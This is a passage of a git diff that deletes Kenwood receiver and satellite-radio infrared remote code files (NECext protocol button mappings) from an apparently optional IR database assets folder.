AUDIO_PAUSE_ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 51 00 00 00 -# -name: MULTI_LVL_CTRL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 54 00 00 00 -# -name: RCVR_ANY_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 54 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 54 00 00 00 -# -name: MULTI_LVL_CTRL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 55 00 00 00 -# -name: RCVR_ANY_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 55 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 55 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 57 00 00 00 -# -name: LEVEL_MODE -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 57 00 00 00 -# -name: THEATRE_2 -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 83 00 00 00 -# -name: DSP_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 85 00 00 00 -# -name: M_4 -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 8E 00 00 00 -# -name: VISUAL_FIX -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 8F 00 00 00 -# -name: SURR_MULTILEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 91 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 91 00 00 00 -# -name: SURR_MULTI_LEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 91 00 00 00 -# -name: SURR_MULTILEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 92 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 92 00 00 00 -# -name: SURR_MULTI_LEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 92 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9C 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: B8 01 00 00 -command: C2 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: B8 01 00 00 -command: C2 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: B8 01 00 00 -command: CC 00 00 00 -# -name: INPUT_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: CC 00 00 00 -# -name: TONE -type: parsed -protocol: NECext -address: B8 01 00 00 -command: D5 00 00 00 -# -name: INPUT_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: D6 00 00 00 -# -name: PANEL_OPEN-CLOSE -type: parsed -protocol: NECext -address: B8 01 00 00 -command: D7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir deleted file mode 100644 index 927e6f836..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_- -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 00 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 01 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 01 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 02 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 03 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 1E 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 1E 00 00 00 -# -name: GUI -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 86 00 00 00 -# -name: MACRO_1 -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 87 00 00 00 -# -name: MACRO_2 -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 88 00 00 00 -# -name: PAUSE__(^) -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 89 00 00 00 -# -name: >>(>) -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 8B 00 00 00 -# -name: STOP_[]_(V) -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 8D 00 00 00 -# -name: <<_(<) -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 8F 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 91 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 92 00 00 00 -# -name: RECEIVER -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 93 00 00 00 -# -name: TAPE_A -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 94 00 00 00 -# -name: TAPE_B/MD -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 95 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 96 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 97 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 98 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 99 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 9A 00 00 00 -# -name: CABLE/SAT -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 9B 00 00 00 -# -name: LEVEL_MODE_AUDIO -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 9C 00 00 00 -# -name: LEVEL_MODE_SURROUND -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 9D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B8 02 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir deleted file mode 100644 index 590f3e1f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AM/FM -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 06 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 19 00 00 00 -# -name: CD-2/TAPE2 -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1A 00 00 00 -# -name: CD-TAPE_2_INPUT -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1A 00 00 00 -# -name: TAPE_2_MON -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1A 00 00 00 -# -name: CD2/TAPE2_ON/OFF -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1A 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 -# -name: VIDEO_3_INPUT -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 -# -name: DVD_INPUT -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1D 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1E 00 00 00 -# -name: VIDEO_4_INPUT -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1E 00 00 00 -# -name: LD_INPUT -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 1E 00 00 00 -# -name: TUNER_AUTO_MEMORY -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 4D 00 00 00 -# -name: AUTO_MEMORY -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 4D 00 00 00 -# -name: SUB- -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 54 00 00 00 -# -name: SUB+ -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 55 00 00 00 -# -name: LOUDNESS- -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 58 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 58 00 00 00 -# -name: LOUDNESS+ -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 59 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 59 00 00 00 -# -name: TONE- -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5A 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5A 00 00 00 -# -name: TONE+ -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5B 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5B 00 00 00 -# -name: DOLBY_DIG -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5C 00 00 00 -# -name: DOLBY_DIGITAL -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5C 00 00 00 -# -name: DOLBY_DIGITAL -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 5C 00 00 00 -# -name: DVD_INPUT -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 80 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 80 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: B8 03 00 00 -command: 80 00 00 00 -# -name: ANALOG -type: parsed -protocol: NECext -address: B8 03 00 00 -command: CA 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: B8 03 00 00 -command: CB 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: B8 03 00 00 -command: CB 00 00 00 -# -name: MIDNIGHT_MODE -type: parsed -protocol: NECext -address: B8 03 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir deleted file mode 100644 index 629602107..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_B_VIDEO_1 -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 00 00 00 00 -# -name: ZONE_B_VIDEO_2 -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 01 00 00 00 -# -name: ZONE_B_VIDEO_3 -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 02 00 00 00 -# -name: ZONE_B_VIDEO_4 -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 03 00 00 00 -# -name: ZONE_B_TUNER -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 05 00 00 00 -# -name: ZONE_B_CD_1 -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 06 00 00 00 -# -name: ZONE_B_TAPE_1 -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 49 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 49 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 04 00 00 -command: 8B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir deleted file mode 100644 index 0a5b53280..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: B8 05 00 00 -command: 4F 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: B8 05 00 00 -command: 4F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 05 00 00 -command: 4F 00 00 00 -# -name: MPEG -type: parsed -protocol: NECext -address: B8 05 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir deleted file mode 100644 index f391351e3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD-R_INPUT -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 10 00 00 00 -# -name: CD-R -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 10 00 00 00 -# -name: ZONE_B_CDR -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 11 00 00 00 -# -name: ZONE_B_DVD -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 1F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 41 00 00 00 -# -name: FULL_AUTO -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 50 00 00 00 -# -name: FULL_AUTO -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 50 00 00 00 -# -name: DIGITAL_MANUAL -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 52 00 00 00 -# -name: ANALOG_6_CH. -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 53 00 00 00 -# -name: ZONE_A_POWER_OFF -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 80 00 00 00 -# -name: ZONE_A_POWER_ON -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 81 00 00 00 -# -name: ZONE_B_OFF -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 82 00 00 00 -# -name: ZONE_B_ON -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 83 00 00 00 -# -name: RELAY_OFF -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 88 00 00 00 -# -name: RELAY_ON -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 89 00 00 00 -# -name: RELAY_ON -type: parsed -protocol: NECext -address: B8 06 00 00 -command: 89 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir deleted file mode 100644 index 808d252dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PL_II_MOVIE -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 00 00 00 00 -# -name: DOLBY_PL_2_MOVE -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 00 00 00 00 -# -name: PL_II_MUSIC -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 01 00 00 00 -# -name: DOLBY_PL_2_MUSIC -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 01 00 00 00 -# -name: CONCERT_HALL -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 04 00 00 00 -# -name: STADIUM_2 -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 05 00 00 00 -# -name: DTS_NEO_6_CINEMA -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 0C 00 00 00 -# -name: NEO_CINEMA -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 0C 00 00 00 -# -name: DTS_NEO_6_MUSIC -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 0D 00 00 00 -# -name: NEO_MUSIC -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 0D 00 00 00 -# -name: MULTI_CH._MUSIC -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 0F 00 00 00 -# -name: MULTI_CH_MUSIC -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 0F 00 00 00 -# -name: PANORAMA -type: parsed -protocol: NECext -address: B8 07 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir deleted file mode 100644 index e3f73f517..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO1_CH_^_(ANY_^) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: VIDEO1_CH_V_(ANY_V) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: VIDEO1_STOP_(BAND) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: VIDEO1_PLAY_(P.CALL) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: VIDEO1_REC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: VIDEO1_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: VIDEO_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: VCR/TV_(LEVEL_AUDIO) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: VIDEO1_>>_(TUNING) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: VIDEO1_<<_(TUNING) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO1_PAUSE_(AUTO) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: VIDEO1_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VIDEO1_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VIDEO1_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: VIDEO1_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: VIDEO1_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: VIDEO1_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: VIDEO1_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: VIDEO1_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: VIDEO1_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: VIDEO1_0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir deleted file mode 100644 index 2fe3c5d36..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_ANY_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: TV_ANY_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: TV_VOLUME_^_(>) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: TV_VOL._^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: TV_VOLUME_V_(<) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: TV_VOL._V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: TV_MUTE_([]) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: TV_FUNCTION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir deleted file mode 100644 index bd87f73b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO2_VCR/TV_(LVL -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: VCR2_FUNCTION -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: VIDEO2_>>_(TUNING) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: VCR2_FFWD_>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: VIDEO2_CH_V_(ANY_V) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: VCR2_ANY_V -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: VIDEO2_PLAY_(P.CALL) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: VCR2_PLAY_> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: VIDEO2_PAUSE_(AUTO) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: VCR2_PAUSE_ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: VIDEO2_<<_(TUNING) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0C 00 00 00 -# -name: VCR2_REW_<< -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0C 00 00 00 -# -name: VIDEO2_CH_^_(ANY_^) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: VCR2_ANY_^ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: VIDEO2_REC -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1A 00 00 00 -# -name: VCR2_REC -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1A 00 00 00 -# -name: VIDEO2_STOP_(BAND) -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: VCR2_STOP_[] -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: VIDEO2_1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1F 00 00 00 -# -name: VCR2_1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1F 00 00 00 -# -name: VIDEO2_POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 -# -name: VCR2_POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 -# -name: VIDEO2_2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 21 00 00 00 -# -name: VCR2_2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 21 00 00 00 -# -name: VIDEO2_3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 22 00 00 00 -# -name: VCR2_3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 22 00 00 00 -# -name: VIDEO2_4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 23 00 00 00 -# -name: VCR2_4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 23 00 00 00 -# -name: VIDEO2_5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 24 00 00 00 -# -name: VCR2_5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 24 00 00 00 -# -name: VIDEO2_6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 25 00 00 00 -# -name: VCR2_6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 25 00 00 00 -# -name: VIDEO2_7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 26 00 00 00 -# -name: VCR2_7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 26 00 00 00 -# -name: VIDEO2_8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 27 00 00 00 -# -name: VCR2_8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 27 00 00 00 -# -name: VIDEO2_9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 28 00 00 00 -# -name: VCR2_9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 28 00 00 00 -# -name: VIDEO2_0 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 29 00 00 00 -# -name: VCR2_O -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir deleted file mode 100644 index e42d2d135..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 09 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0A 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0C 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0D 00 00 00 -# -name: BANK 